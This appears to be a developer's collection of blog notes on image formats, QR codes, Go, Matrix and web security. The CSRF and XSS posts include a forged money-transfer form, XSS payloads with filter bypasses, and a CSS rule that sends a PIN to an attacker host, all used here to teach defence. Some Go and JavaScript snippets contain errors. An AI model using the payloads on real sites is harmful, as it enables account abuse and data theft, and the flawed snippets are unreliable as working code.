- validates the signature over the clientDataHash and attestation using the certificate chain for that specific authenticator

Authentication

The authentication process is very similar, the key differences are:

authentication does not require user or relaying party information
it creates an assertion using the previously created key pair (rather then an attestation using the burned in keys of the authenticator)

( step 0: Some kind of initial registration request.)

Server sends back the challenge.
Browser validates the parameters, fills in defaults and calls authenticatorGetCredential() on the authenticator.
The authenticator creates an assertion using the credentials stored for the given Relaying Party ID and prompts the user to consent to the authentication.
Authenticator returns data to the browser - the authenticatorData and the assertion signature.
Final data is created and sent back to the server - the get() call resolves to a PublicKeyCredential object, which is then sent back to the server (using whatever form of communication available).
The server validates the data and finishes the login process:
- it verifies the signature using the public key stored during the registration process
- checks that the Relying Party ID is the one expected
- checks whether the signed challenge is the same that was generated by the server

JPEG

Tue, 27 Sep 2022 00:00:00 +0000

The most widely used digital image format, developed by Joint Photographic Experts Group. Several attempts has been made to replace it with something “better” (JPEG 2000 included), but it still helds its position. ISO/IEC and ITU-T standard, which only specifies the codec, but not the file format - the Exif and JFIF standards define the commonly used ones.

8 bit per channel, 3 channels, lossy, maximum 64k x 64k pixel resolution

File format

A sequence of segments, each beginning with a marker. A marker is 2 bytes long, the first byte is 0xFF, the other byte indicates the type of the marker.

Examples:

FF D8 - SOI: start of image
FF D9 - EOI: end of image
FF C0 - SOF: start of frame (baseline DCT)
FF C2 - SOF (progressive DCT)
FF C4 - DHT: define Huffman tables
FF DB - DQT: define quantization tables
FF DA - SOS: start of scan (generally 1 for baseline, and multiple for progressive images)
FF E? - APP? specific data (APP0 is JFIF and APP1 is Exif for example)
FF FE - COMment

APP markers often begin with a standard or vendor name, like JFIF\0 for JFIF. (Several vendors might use the same APPn marker type, they are not standardised.) ICC profiles and such can be attached too.

JPEG encoding

A JPEG file can be encoded in various ways, most commonly it is done with JFIF encoding:

Image colors are converted from RGB to YCbCr.
The resolution of chroma data is reduced - the human eye is less sensitive to color than brightness.
The image is split into 8x8 pixel blocks, each channel undergoes DCT.
The amplitudes of the frequency components are quantized. Human vision is more sensitive to small variations in color/brightness over large areas - the magnitude of the high-frequency components is reduced. (This is the quality setting of the JPEG, at very low quality high frequencies are discarded completely.)
The result is compressed with a variant of Huffman encoding (lossless).

YCbCr

RGB: red, green, blue YCbCr:

Y: luma/luminescense - brightness (Y’ is used for JPEG, which is gamma corrected Y)
Cb: blue chroma - yellow-blue axis
Cr: red chroma - green-red axis

YUV is basiclly the same but while Cb/Cr is scaled to 0-255 (or 16-235), U/V is the distance from the center, they can be negative (-127 - 128 for example, or -0.5 - 0.5).

Chroma subsampling

Human eye can see brightness much better than color (due to the number of receptors in the eye - 120M rods vs 6M cones), so in a lossy scenario we can compress the chromatic information much more than brightness without noticing it.

J:a:b

J - horizontal reference sample (usually 4)
a - number of chromatic samples in the first row
b - number of changes in chromatic samples between first and second row

(Long history of TV transmission encodings like SECAM, PAL and NTSC, backward compatibilty with B/W TVs, …)

Examples

4:4:4 means no downsampling - rarely used (we can use RGB instead)
4:2:2 1/2 horizontal resolution, 2/3 bandwidth - some high-end digital video formats
4:2:0 1/2 horizontal + 1/2 vertical resolution, 1/2 bandwith - most widely used: MPEG, JPEG, DVD, WebP, …
…

Block splitting

Each channel is split into 8x8 blocks.

This basically means 8x8 pixel blocks for brightness (Y), and 16x16 pixel blocks for chromatic channels (Cb/Cr).

DCT

Discrete Cosine Transform (~DFT, but only using real numbers)

Each block from the previous step is converted to a frequency-domain representation using DCT.

Quantization

Human eye is good at seeing small differences in brightness, BUT not so good at distinguishing the exact strength of a high frequency brightness variation - this allows us to reduce the amount of information in the high frequency components.

Quantization matrices are defined in the standard, basically they are controlled by the quality setting of the JPEG images.

Entropy coding

First run-lenght encoding then Huffmann cofing is used to compress the blocks, but since higher frequency components are reduced (eventually to 0), the best way to encode them in a zigzag pattern instead of line-by-line (so the RLE finds more 0s next to each other).

In progressive mode the zigzag pattern goes through all the blocks for each frequency (~), in non-progressive mode it goes block-by-block.

Future

There were some attempts by the JPEG group to extend it, JPEG 2000, JPEG XT, JPEG XS, JPEG XR, some of them has special uses, some of them has patented technology, but none of them were able to replace the classic JPEG.

JPEG XL

ISO standard, 2021/2022 (standardization started in 2017)
to become the universal replacement
Features:
- improved functionality and efficiency (compared to JPEG, PNG and GIF)
- bigger dimensions (2^30-1 pixels on each side)
- up to 4099 channels (RGB, CMYK, alpha, depth, thermal, …)
- independent tiles
- progressive decoding
- lossless option
- photographic/synthetic mode
- graceful quality degradation
- perceptually optimized reference encoder
- wide color gamut support
- HDR support
- animations
- fast, no need for special hardware support (decoding is faster than WebP or AVIF)
- royalty free with open source reference implementation
- ponies, unicorns
Support:
- very new - reference implementation is from August 2022 (1 months old)
- official: ImageMagick, Gimp, Krita, FFmpeg, …
- unofficial: plugins for KDE/Qt, Windows and macOS
- browsers: Chromium* and Firefox (behind flag)
- https://jpegxl.info/

QR Code

Thu, 15 Sep 2022 00:00:00 +0000

Invented by Denso Wave (japanese automotive company, subsidiary of Toyota) in 1994 to track vehicle parts during manufacturing. It was designed to allow high-speed scanning. Now it is used basically everywhere.

Parts

Finder patterns - helps the reader to detect the code
Alignment pattern(s) - helps to align the QR code (especially big ones)
Timing patterns - alternating black and white dots, the reader can detect the size (version, 1-40) of the QR code
Format information - information about the used mask, error correction level and error correction format
Data
Error correction data

Data

Four main encondings:

numeric - 3⅓ bit/char - 0-9
alphanumeric - 5½ bit/char - 0-9 + A-Z + space + some signs
binary - 8 bit/char - bytes (ISO 8859-1 according to spec, but UTF-8 is fine)
kanji/kana - 13 bit/char - Shift JIS X 0208 (better than binary/UTF-8)

Encoding modes can be mixed:

[mode1][size1][data1][mode2][size2][data2]...[EOM 0000]

The binary data is then padded to whole bytes with 0 bits, and padded to fit into the max available space using alternating EC 11 pattern. Error correction data is calculated, then all the data is filled in in a zigzag pattern.

Error correction data

Reed-Solomon error correction is used - it is very wide used, for example for CDs/DVDs, … You probably don’t want to know the details :)

Levels / maximum data loss:

11 - Low - 7%
10 - Medium - 14%
01 - Quartile - 25%
00 - High - 30%

Format info

10 100 01100100101

Error correction level: 10 - medium
Mask pattern: 100
Error correction generator polinomial (you don’t wanna know)

Mask

QR code readers work best when there are the same amount of black and white areas, and they are iterating. But real world data does not work this way, so there are 8 types of masks to apply (via XOR) and the best one is chosen.

(image source: wikipedia.org)

Learn more

Portable Network Graphics

Fri, 19 Aug 2022 00:00:00 +0000

One of the most widely used raster image formats, that supports lossless compression, alpha transparency and is supported by all the webbrowsers. It was developed in 1996 as an improved, non-patented replacement for GIF (“PNG’s not GIF”). ISO and IETF standard.

Features:

wide range of pixel format (indexed/palette, grayscale, rgb, gs+alpha, rgb+alpha)
full scale of alpha transparency (from single pixel to full 16-bit alpha channel)
2 stage compression: filtering + DEFLATE
- Filtering: prediction based on previous pixel colors, to improve compression
- DEFLATE: LZ77 + Huffman coding, implementations widely available (zlib for example)
2 dimensional, 7-pass interlacing (allows to render the image with a lower resolution much earlier during the transfer, but usually reduces the compressibility)
extendibility - “forward compatibility”, custom chunks can be implemented and used
- for example APNG (animated PNG) - which is also supported by all major browser - is an unofficial extension of PNG, even PNG decoders that does not know anything about APNG will display the first frame without any error

File structure

Header + chunks

8 byte signature:

89 50 4E 47 0D 0A 1A 0A

89- something above 128 for easy binary content detection
50 4E 47- PNG
0D 0A- DOS line ending (CRLF, \r\n)
1A- DOS EOF (Ctrl+Z)
0A- UNIX line ending (LF, \n)

Chunks

After the header comes a series af chunks:

[length 4bytes][type 4bytes][data <length>bytes][crc 4bytes]

Chunk type

4 bytes (characters in this case), case sensitive, character cases has special meaning:

critical (upper) or not (lower) - ancillary chunks can be ignored during decoding
public (upper) or private (lower) - ensures that public (standardized) and private (custom) chunks never conflict (two private might)
should be uppercase (reserved for future expansion)
safe to copy - not safe (upper) / safe (lower) - whether is it safe to copy this chunk if the image is heavily modified

Some critical chunks

IHDR

“image header”
4 byte width
4 byte height
bit depth (1 byte, 1/2/4/8/16) - number of bits per sample or per palette index (not per pixel)
color type (1 byte - bitmask, 0, 2, 3, 4, 6)
compression method (1 byte, always 0)
filter method (1 byte, always 0)
interlace method (1 byte, 0 - no interlace, 1 - Adam7 interlace)
13 bytes total

IEND

end of image, last chunk
empty, 0 byte length

PLTE

palette, required for indexed images

IDAT

the actual image data
might be split into multiple IDAT chunks (for streaming i.e.)

Some ancillary chunks

bKGD - default background color (for transparent images)

cHRM - chromaticity (color primaries and white point) ~ white balance

dSIG - digital signature

eXIf - exif metadata

gAMA - gamma (multiplied by 100000, integer)

iCCP - ICC profile

tEXt - key / text (basically anything)

pHYs - physical pixel size

tIME - last time the image was changed

…

Pixel format

IHDR bit depth + color type

Bit depth

Indexed: 1, 2, 4, 8 bit per pixel (2, 4, 16, 256 colors)
Grayscale: 1, 2, 4, 8, 16 bpp
Gs+alpha: 16 or 32 bpp
Truecolor: 24 or 48 bpp
Truecolor+alpha: 32 or 64 bpp

Color type

Bitmask:

bit value 1: indexed (palette)
bit value 2: rgb (or trichromatic), grayscale (relative luminance) otherwise
bit value 4: alpha channel (per pixel)

Possible values:

0: grayscale
2: rgb/truecolor
3: indexed (colors in palette can have alpha transparency, individual pixels don’t)
4: grayscale + alpha
6: rgb+alpha

Compression

lossless, 2 stage:

filtering (~prediction)
DEFLATE - LZ77 + Huffman coding

Filtering

One filter method for the entire image (well, currently there’s only one in the standard, ‘0’), and one filter type per line.

The filter predicts the value of each pixel based on previous pixels, and substracts the predicted color from the actual value. In many cases this results in a more compressible line.

Filter types

(type - name - predicted value)

0 - None - zero (no prediction)
1 - Sub - pixel to the left
2 - Up - pixel above
3 - Average - mean of left + above pixel (rounded down)
4 - Paeth - (left), (above), or (left-above), whichever is closest to p = (left) + (above) - (left-above)

Interlacing

Optional, 2 dimensional, 7 pass scheme (Adam7).

8x8 blocks:

1 6 4 6 2 6 4 6
7 7 7 7 7 7 7 7
5 6 5 6 5 6 5 6
7 7 7 7 7 7 7 7
3 6 4 6 3 6 4 6
7 7 7 7 7 7 7 7
5 6 5 6 5 6 5 6
7 7 7 7 7 7 7 7

Reduces data compressibility - filtering uses neighbour pixels for prediction, with interlacing this isn’t that much effective.

Animation

Many “extension” that adds animation to PNG, the most widely supported one is APNG (which is not “standardised” by the PNG Group, but still), all major browsers and operating systems support it.

Backward compatible:

acTL chunk for generic animation data (frame number, loop count)
one IDAT chunk - “normal” PNG decoders will display a still image
multiple fcTL and fdAT chunks for further frames (metadata + data)

Form Data

Thu, 14 Jul 2022 00:00:00 +0000

How form data can get from the browser to the backend.

Without JS

action: where to send the data (URL, current URL by default)
method: GET, POST (and there’s dialog too…)
enctype: only for POST, Content-Type of the data
- application/x-www-form-urlencoded - default, URL encoded body
- multipart/form-data - multipart data, required for file uploads
- text/plain - for debugging, don’t use, security issues

Sidenote - MIME MIME: Multipurpose Internet Mail Extensions So mime types were basically invented for e-mails.

With JS

FormData API - serializes form data for fetch() or XMLHttpRequest.send()

Example:

let data = new FormData(document.getElementById("myform"));
fetch("/api/posthere", {
  method: "POST",
  body: data
});

Content-Type automatically set to multipart/form-data (can be overridden, but don’t!)
files are handled automatically
extra data can be .append()-ed, or unused .delete()-ed

To send application/x-www-form-urlencoded (which is the default for HTML forms) you can use URLSearchParams to convert FormData to URL encoded searchparams format. (Files won’t work.)

let formdata = new FormData(document.getElementById("myform"));
let data = new URLSearchParams(formdata);
fetch("/api/posthere", {
  method: "POST",
  body: data
});

FormData can be easily converted to JSON as well. In this case, Content-Type header must be explicitly set to application/json.


let formdata = new FormData(document.getElementById("myform"));
let plaindata = Object.fromEntries(formdata.entries());
let data = JSON.stringify(plaindata);
fetch("/api/posthere", {
  method: "POST",
  hearders: {
    "Content-Type": "application/json"
  },
  body: data
});

An image (or any other file) is basically binary data. We can embed binary data (almost) freely in a multipart/form-data message, but if we want to we can encode them somehow to be easily embedded into something that can handle only “strings” - like JSON. We might invent such an encoding, but fortunatelly there’s already one standardized: the data URL scheme.

Data URLs

data:[<mediatype>][;base64],<data>

data: is the protocol (like http:)
mediatype is the MIME type with charset and such (like image/png or text/html;charset=utf-8)
base64 means base64 encoding is used, if it’s omitted, standard URL encoding should be used (space is %20 for example)

The result is a URL, that can be used as a standard ASCII string, in a JSON message for example.

… adding anything to FormData

formdata.append("image", data[, "filename.ext"]);

Data can be read from a canvas (canvas.toDataURL(), canvas.toBlob()), using the File API, or just by creating Blobs.

Go(lang) - advanced topics

Fri, 24 Jun 2022 00:00:00 +0000

Concurrency

Goroutines

Goroutine: a lightweight thread managed by the Go runtime.

It’s pretty simple to execute a function call as a new goroutine:

go f(param1, param2)

The program is terminated when the main goroutine finishes.

Channels

Go channels are typed channels through which you can send and receive values.

ch := make(chan int)
// sending
ch <- 12
// receiving
v := <- ch

By default sends and receives are blocking until the other side reacts - this allows goroutines to synchronize without explicit locks and such.

Example:

func sum(s []int, c chan int) {
    sum := 0
    for _, v := range s {
        sum += v
    }
    c <- sum // send through channel instead of return
}


func main() {
    s := []int{1, 2, 3, 4, 5, 6, 7, 8}

    c := make(chan int)
    go sum(s[:len(s)/2], c)
    go sum(s[len(s)/2:], c)
    x, y := <-c, <-c // receive two values through c

    fmt.Println(x+y)
}

Channels can be buffered:

ch := make(chan int, 100)

Sends only block when the buffer is full, receives only when it’s empty.

range supports channels (gives only the value), and close() can be used to close a channel.

func fibo(n int, c chan int) {
    x, y := 0, 1
    for i := 0; i < n; i++ {
        c <- x
        x, y = y, x+y
    }
    close(c)
}

// ...
go fibo(10, ch)
for i := range ch {
    fmt.Println(i)
}

// can be checked too
nextfib, ok := <-ch
if ok != nil {
    fmt.Println("cannot read from channel, already closed?")
}

Select

(Note: this isn’t the select() unix system call!)

The select statement lets you wait on multiple channels. It blocks until one of it cases can run, then executes that one (chooses randomly if there are more).

func fibo2(ch chan int, q chan bool) {
    x, y := 0, 1
    for {
        select {
        case ch <- x: // send if you can
            x, y = y, y + x
        case <- q: // quit if you're asked to
            fmt.Println("csá")
        }
    }
}


c := make(chan int)
quit := make(chan bool)
go func() {
    for i := 0; i < 10; i++ {
        fmt.Println(<-c)
    }
    quit <- true
}()
fibo2(c, quit)

There’s default for select as well, that you can use to implement non-blocking channel read:

select {
case v <- ch:
    fmt.Println(v)
default:
    fmt.Println("channel empty")
}

sync

The sync module contains various synchronization primitives to synchronize goroutines, like sync.Mutex, sync.WaitGroup, …

Generics

Very recent in go (1.18), pretty much what you expect.

type parameters for functions and types
interface types as sets of types
type inference

func min(x, y float64) float64
    if x < y {
        return x
    }
    return y
}
// we need different function for int, int8, int32, ... :(
import "golang.org/x/exp/constraints"

func gmin[T contraints.Ordered](x, y T) T {
    if x < y {
        return x
    }
    return y
}

mixy := gmin[int](2, 3)
mfxy := gmin[float64](8.3, 12.7)
// you can create type specific functions from generic ones
minString := gmin[string]
// type inference
mfxy2 := gmin(1.1, 2.2) // float64

Type sets

Interfaces can now match not just for method sets, but for types too:

type Ordered interface {
    Integer|Float|~string
}

~ means the underlying type (so type MyString string will match)

any added for the short version of interface{}

Go(lang)

Thu, 26 May 2022 00:00:00 +0000

What?

statically typed (w/ type inference)
compiled (statically linked)
memory safety, garbage collection
built in dependency management
concurrency:
- goroutines (~coroutines/threads)
- channels
- select (for channels)
interfaces for “virtual inheritance”, type embedding
standardized formatting (gofmt)
multiple implementations (gc, gccgo, gollvm, gopherjs, …)

Why?

mascot: gopher
started by Google in 2007
focusing on multicored/networked problems
efficient (like C)
readable & usable (like Python)
high performance networking & multiprocessing
primary motivation: dislike of C++ :)

How?

Play with it: Go Playground

Flow control

for

Classic:

for i := 0; i < 10; i++ {
    fmt.Println(i)
}

While:

sum := 0
for sum < 100 {
    sum += 1
}

Endless loop:

for {
    // neverending story
}

if

if i < 10 {
    // i < 10
} else {
    // i >= 10
}

W/ short statement:

if s := math.Sin(f); s < .5 {
    return s
}
// s isn't defined here

switch

Basically many ifs, no silly breaks and such:

switch os := runtime.GOOS; os {
case "darwin":
    // MacOS
case "linux":
    // Linux
default:
    // anything else
}

defer

Defers execution until the function returns (~finally).

func x(i) {
    defer fmt.Println("x exited")

    if i > 10 {
        return "big"
    }
    return "small"
}

Deferred functions are stacked, called in a reverse order.

Types

No variable is uninitialized.

Basic types, zero values

bool (false)
numbers (byte, uint8, int16, float32, complex128, …) (0)
string ("")
rune (int32 - unicode character) (’')

Inference:

var i int // i == 0
j := 16 // j is int
k := i + j // k is 16, int

Pointers, references

Without pointer arithmetic:

i := 42
p = &i
*p = 21
fmt.Println(*p) // prints 21

Structs

type Color struct {
    R, G, B int
    Alpha float32
}

c1 := Color{100, 200, 200, .5}
c.R = 200 // {200, 200, 200}

Arrays

var a [2]int
a[0] = "Hello"
a[1] = "World"

nums := [4]int{1,2,3,4}

Slices

~dynamic views of arrays

nums2 := nums[1:3] // {2, 3}, nums2 is a slice, not an array
nums2[0] := 5 // nums became {1,5,3,4}

nums3 := []int{5,4,3,2,1} // nums3 is a slice, the underlying array is hidder

length - current size of the view
capacity - the size of the underlying array
make() - create slice with the given length/capacity
append()- smart append, increases capacity when required
range - for iterating through iterables

nums4 := make([]int, 1, 2) // {0} with capacity of 2
nums4[:cap(num4)] // {0, 0}
append(nums4, 1, 2, 3) // {0, 0, 1, 2, 3}, no idea of capacity, maybe 8

for i, v := range nums4 {
    fmt.Printf("%d. %d\n", i, v)
}

Maps

Nothing special, make can also used to create them.

var m1 map[string]int
m1["cica"] = 4
m1["kutya"] = 27


m2 := map[string]int{
    "cica": 5,
    "kutya": 28,
}

m3 := make(map[string]int)

// check if key is included
v1, ok := m1["egér"] // v1 == 0, ok == false

Functions

… can be values too.

func add(x, y int) int {
    return x + y
}

func applyWith2(x int, fn func(int, int) int) int {
    return fn(x, 2)
}

Error handling: return it!

func div(x, y int) (int, error) {
    if y == 0 {
        return 0, errors.New("Cannot divide by zero!")
    }
    return x / y, nil
}

Parameters are passed as value by default, so copyed on function call - but you can explicitly use pointers to avoid copying or to be able to modify the original object.

Methods

Go does not have classes, but you can define methods on types - not just structs, but any type defined in the same package. They are basically functions, with a receiver argument.

type Color struct {
    R int `json:"red"` // example for tags
    G int `json:"green"`
    B int `json:"blue"`
}

func (c Color) Grayscale() Color {
    g := (c.R + c.G + c.B) / 3
    return Color{g, g, g}    
}

func (c *Color) Darken() { // can use pointers as well
    c.R = c.R / 2
    c.G = c.G / 2
    c.B = c.B / 2
}

type MyFloat float64

func (f MyFloat) Abs() float64 {
    if f < 0 {
        return float64(-f)
    }

    return float64(f)
}

Interfaces

Interface: a set of method signatures.

type Abser interface {
    Abs() float64
}

func PrintAbs(a Abser) {
    fmt.Println(a.Abs())
}

// PrintAbs(MyFloat(-12))

Implementation is implicit, MyFloat is an Abser, even if I defined the interface later (even in an other package).

Special empty interface: interface{}- all types implement it, ~Object.

Type assertion:

func PrintAbs(a Abser) {
    i, ok := a.(MyInt)
    if ok {
        // handle integer
    }

    f, ok := a.(MyFloat)
    if ok {
        // handle float
    }

    // OR

    switch v := i.(type) {
    case MyInt:
        // handle MyInt
    case MyFloat:
        // handle MyFloat
    default:
        // whatever
    }
}

Interface example: fmt.Stringer-> anything w/ aString()method

error is an interface too:

type error interface { // this is built in
    Error() string
}

type MyError struct {
    When time.Time
    What string
}

func (e *MyError) Error() string {
    return fmt.Sprintf("[%v] %s", e.When, e.What)
}

Matrix

Fri, 25 Mar 2022 00:00:00 +0000

2019, https://matrix.org/
not the movie, but the “matrixed communication”
open standard: spec
non-profit Matrix.org Foundation
decentralized
end-to-end encryption
- olm, megolm
- based on Signal’s double ratchet
- extended to support encrypted rooms
messaging (IM, rooms, bots, even IoT devices)
signaling (for WebRTC, VoiP, video calls)
bridging to other IM networks (XMPP, Slack, IRC, Discord, Facebook, …)
HTTPS+JSON based by default, but a much lighter UDP based demo was already created for ~100bps (!) networks

How does it work?

“decentralized message store”
messages are replicated over all participating servers
no single point control or failure
more like e-mail than other IM protocols

Who uses it?

lot of clients (web, desktop, mobile, even console), client SDKs
lot of bridges to other IM networks
more than one server implementations
free servers
easy to self-host, easy to join the federation
some numbers (matrix.org homeserver):
- 10M+ accounts
- 2.5M+ messages/day
- 2.1M+ rooms
- 20k+ federated servers
- 400+ projects, 70+ companies building on Matrix
“big” users
- French Goverment
- German Ministry of Defense
- Mozilla
- Gitter (chat for GitLab projects)

Rate limiting

Tue, 15 Feb 2022 00:00:00 +0000

Why?

DoS - Denial of Service attacks
Brute Force attacks
- collect customer email addresses (signup)
- reveal username/password pairs (login)
- send emails (contact us, gift card)

How?

Really hard to do it properly.

Session based: creating a new session is easy
IP based
- easy to get lot of IP addresses
- might restrict real users behind NAT/IPv6 gateway
Captcha (classic) - bad UX
slow down API response artificially - can lead to “self-DoS”

Knocking

Before calling a protected API, the client should knock calling a special knocking API with the target endpoint. The knocking API returns a waiting time after the target API will be available for one call.

Using some kind of classifier (Google reCAPTCHA v3, something based on user history, …) the waiting time can be different for each user.

Calling a protected API requires the client to:

create and maintain a session (bots usually don’t do this)
call the knocking API
process the response, wait for the waiting time
call the actual API
(repeat the whole process)

Rejecting an API call (before the end of the waiting time or without calling the knocking API) is quick and easy, without using much backend resources. (HTTP 429 - Too Many Requests)

Cross-Site Request Forgery

Mon, 07 Feb 2022 00:00:00 +0000

CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.

Examples

GET

In FD, a “malcious” website can change the customers express status. This is at most annoying, clearly visible for the customer, and does not happen during a typical FD session, but if the request could change something import, it could be dangerous.

<!-- https://whatever.com/express.html -->
<h1>not at all malcious site</h1>
<img src="https://www.freshdirect.com/index.jsp?expressContext=true" style="width: 1px; height: 1px;">

Upon visiting this website, the URL in the img tag will be called, with the proper cookies, and the customer will have express context enabled.

GET requests in general should not change any important state at the backend side.

POST

Imagine an internet banking website, that has a classic HTML form for money transfer. Without CSRF protection, an attacker could create a site from where they can POST data to the banking site:

<!-- https://jedi.name/ -->
<h1>enter your favourite color, and I'll tell you your jedi name!</h1>
<form action="https://nocsrf-banking.com/transfer">
  <input name="color" placeholder="favourite color" value="">
  <input type="hidden" name="recipient" value="[haxoraccountnumber]">
  <input type="hidden" name="amount" value="$1000">
  <button>SHOW ME MY JEDI NAME!</button>
</form>

If the victim used the banking site recently and their session is still live, entering anything into that form and submitting it would transfer $1000 to the attacker.

Mitigation

CSRF tokens

Tokens (generated once per session or for each request) are generated at the backend, sent to the frontend, and should be included for all state changing requests. The backend should deny the request if the token validation fails.

CSRF tokens should be:

unique per session (or request)
secret
unpredictable (random)

They should not be transmitted from the frontend via cookies, but in a hidden form field (classic forms) or in a custom HTTP header (JS).

If the session cookie is protected by the SameSite attribute (using Strict or Lax value), the cookie will not be included in cross-site requests (or only for safe requests in case of Lax - safe requests should not modify state, like GET orHEAD)

This attribute should not be the only protection, but an extra layer.

If we need to support cross-origin requests with credentials, we cannot use this.

Verifying standard headers

The backend can verify the Origin or the Referer header to check whether the request is a cross-origin, or same-site request. These headers are not always included, aren’t really reliable.

(Browsers does something similar for CORS. See cors.md.

Custom header for AJAX

Only a few request headers can be set for an AJAX call without involving CORS, so setting one (and checking it in the backend side) will protect these API endpoints against CSRF.

Cross Site Scripting (XSS)

Fri, 04 Feb 2022 00:00:00 +0000

Data (from untrusted source) gets into the application, then this data is later displayed in the website without being properly validated/sanitized/escaped.

Example

<%-- search.jsp --%>
<% String searchParam = request.getParameter("searchParam"); %>
<h2>Search results for <%= searchParam %></h2>

Imagine calling it via http://whatever/search.jsp?searchParam=<script>alert(document.cookies)</script>

What to do?

Remove the <script> tags! - <scrIpt> works as well
Use regexp like /[sS][cC][rR][iI][pP][tT]/ - <img src=javascript:alert(1)>
remove javascript: - <img src=javAscript:alert(1)>
HTML decode, THEN remove - <img src=nonexistent onerror=alert(1)>

… far from easy.

Prevention

NEVER insert untrusted data

In a script:

<script>... NOT HERE...</script>

Inside a HTML comment:

As a tag or attribute name:

<NOTHERE></NOTHERE> <div NOTHERE=something></div>

Directly into CSS:

<style>... NOT HERE ...</style>

These places are almost impossible to escape/sanitize properly. Do not even try.

… exceptions

Since sometimes we definitely need data that is coming from untrusted source.

HTML context

HTML encode before inserting something into HTML element context

<div>
  ... HTMLENCODED UNTRUSTED DATA HERE ...
</div>

It might be sufficient to encode the following characters, to prevent switching into other execution contexts:

& => &
< => <
> => >
" => "
' => '

HTML Attribute context

<div attr="... ATTRIBUTE ENCODED UNTRUSTED DATA HERE ...">content</div>

Always quote attributes with " or '. Quoted attributes can be broken only by the corresponding quote, not quoted attributes can be broken out in may ways (with [space], /, |, …)
Encode the corresponding quote in the data
- " => "
- ' => '
Some attributes are capable of executing their content, they should never include untrusted data:
- href - href="javascript:alert(1)"
- all event handlers (onclick, onerror, onload, …)
- src - obviously
- style - CSS context, dangerous

JavaScript data

Do not insert untrusted data into JavaScript context.

BAD example (from FD):

<script>
  window.browseData = <fd:ToJSON value="${browsePotato}"/>; // well, it's not even JSON...
</script>

In this example, browsePotato contains some URL parameters, like searchParam, grpId, etc.

This is a proper JS object: { searchParam: "</script><script>alert(1)</script>" }, and is completely OK in a JS file. But in an HTML, the HTML parser breaks the <script> tag at the first </script>…

Instead, put the HTML escaped JSON (really) data inside of an HTML tag, then read it via JS, and decode it:

<script type="application/json-htmlencoded" id="browsePotato">
  <fd:ToEscapedJSON value="${browsePotato}" />
</script>
<script>
  const dataEl = document.getElementById("browsePotato");
  window.browseData = JSON.parse(dataEl.textContent); // `textContent` is unescaped
</script>

CSS

Do not insert data into CSS context. It’s hard to be safe. Use CSS variables, that can be set via JS.

/* obvious */
.whatever {
  background-url: "javascript:alert(1)";
}

/* not that obvious */
input.pincode[value="1234"] {
  background: url(https://h4x0r.org/log?pin=1234);
}

/* ... */

URL parameters

URLencode everything that goes into URL parameter.

<a href="/search.jsp?page=2&searchParam=<%= URLENCODE_THIS %>">Search page 2</a>

(It’s basically attribute context, but easier to handle.)

Need to output untrusted HTML

Use a well maintained sanitizer library, update it regularly.

Examples:

Java - OWASP Java HTML Sanitizer
JS - DOMPurify

Don’t try to write your own sanitizer, you’ll fail.

Extra protection

use HTTPOnly option for cookies that are not needed by JS
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies
use proper CSP header, it can prevent XSS by disabling inline JavaScripts
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy

Cross-Origin Resource Sharing

Thu, 03 Feb 2022 00:00:00 +0000

Modern browsers apply the same-origin policy to some resources, meaning they refuse to load or restrict access to resources coming from other origins than the loaded website. Servers can implement CORS to describe which origins are permitted to load their resources.

For some HTTP requests, browsers issue a “preflight” request (HTTP OPTIONS) to check whether the resource is available for the given origin.

Requests using CORS

XMLHttpRequest or fetch()
web fonts
WebGL textures
Images/videos drawn to canvas using drawImage()

Simple requests

Simple requests don’t trigger preflight.

A request is a simple request if it meets all the following crireria:

Methods: GET, HEAD, POST
Only extra headers allowed:
- Accept
- Accept-Language
- Content-Language
- Content-Type (not all)
Allowed Content-Type values (backward compatibility):
- application/x-www-form-urlencoded
- multipart/form-data
- text/plain

Browsers issue these kind of simple requests without preflight, and process their Access-Control-* headers.

Requests with preflight

Before sending requests (that doesn’t meet the criteria above) to an other origin, browsers issue a preflight request to check if the server allows it.

The preflight is an HTTP OPTIONS call with the following headers:

Origin
Access-Control-Request-Method
Access-Control-Request-Headers

Credentials

By default, XMLHttpRequest and fetch() does not send HTTP cookies with cross-origin requests. It’s possible to include those with the withCredentials parameter, but the server needs to respond with Access-Control-Allow-Credentials: true otherwise the browser will drop the response.

The wildcard Access-Control-Allow-Origin: * cannot be used with credentials.

Response headers

Access-Control-Allow-Origin - explicit origin or *
Access-Control-Expose-Headers - the listed headers will be exposed to the browser
Access-Control-Max-Age - the time in seconds the preflight request can be cached.
Access-Control-Allow-Credentials
Access-Control-Allow-Methods
Access-Control-Allow-Headers

Security

CORS only protects clients that implements it properly - browsers -, does not protect the backend from bots and such.

PGP/GPG

Thu, 27 Jan 2022 00:00:00 +0000

PGP: Pretty Good Privacy

GPG: GNU Privacy Guard

PGP

from 1991
cryptographically sign/verify, encrypt/decrypt files, emails, etc.
OpenPGP standard, RFC 4880
key “verification” via fingerprints, Web of trust
public/private keys

GPG

Free/open replacement for PGP, implements RFC 4880, from 1997.

Basic usage

$ gpg --list-keys
... list of public keys you know about
$ gpg --list-secret-keys
# your private keys
sec   dsa1024 2004-09-28 [SC]
      3CC6CD7FFD08EEEC39BD9962FF611208CD191EF6
uid           [ultimate] Horak Gyuri <dyuri@horak.hu>
ssb   elg1024 2004-09-28 [E]

sec   rsa4096 2017-06-18 [SC] [expires: 2033-06-14]
      067E886C5034E8C86B15CD274993F07B3EAE8D38
uid           [ unknown] Gyuri Hork <dyuri@horak.hu>
uid           [ unknown] Gyuri Hork <gyuri@horak.hu>
ssb   rsa4096 2017-06-18 [E] [expires: 2033-06-14]

Encrypt file

$ echo hello > secret.txt
$ gpg --armor --encrypt titkos.txt
$ cat titkos.txt.asc
-----BEGIN PGP MESSAGE-----

hQEOA63fG0ACEu5oEAP/cMTJbhUX3cmUpF3rEyJsmS/AMOOTkGUxIYOgE4vkg1WT
fcaOcKdf46zdpcEjFjHMiC59XK5EyoDeqGP48ZgH6tGuk781oi0F2B0oQIPkHvxQ
3fROjO0Qmwr67mX9u4vghwt9joeblBX/oHCUgR91nWkg1/4O4BAQ7H97JjN//wAD
/0hKEk+TN+KQd/JEHcJBxI6cIygTu9y4KKVxQN5iMCHn/IqeJv9J/SQ5SuDcO4z6
r+sj8wQYg5fUhsljgVUpG5mD7ob3otxZOlLJzfSTjheOiOYb3xNazuJsc9fWlw7Y
Rol7rixwLQiOAQMJCIK3R02A3Dq16SU4/wXUWhqdYLAw0ksB/rSdqsF044dnzP2k
